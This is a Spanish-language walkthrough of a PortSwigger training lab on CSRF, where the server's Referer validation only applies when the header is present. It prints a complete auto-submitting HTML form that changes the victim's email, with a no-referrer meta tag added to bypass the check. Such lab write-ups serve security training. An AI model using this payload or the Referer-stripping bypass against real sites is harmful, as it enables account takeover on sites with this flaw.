Descripción

This lab’s email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

CSRF where Referer validation depends on header being present writeup

Accederemos a ‘My account’, iniciaremos sesión con el usuario ‘wiener’ y la contraseña ‘peter’. Capturaremos la petición del cambio de correo electrónico con el ‘Logger’ y la enviaremos al ‘Repeater’ con Ctrl + R o Click derecho -> Send to Repeater. Allí daremos Click derecho -> Engagement tools -> Generate CSRF PoC. Copiaremos el resultado y nos lo llevaremos al ‘Body’ del ‘Exploit server’. Allí realizaremos el siguiente cambio:

<html>
<meta name="referrer" content="no-referrer">
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0af500cd03bacd6e817df27e00fd0062.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test&#64;cyberhub&#46;es" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Dado que la descripción del laboratorio dice que el servidor bloquea las peticiones de otras páginas, dejaremos la etiqueta meta ‘referrer’ vacía, para que el encabezado HTTP no tenga ‘Referrer’ y sobrepase esta restricción. Al enviar la petición completaremos el laboratorio:

Nota: Es necesario indicar un correo que esté libre, el de la misma petición no es válido.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *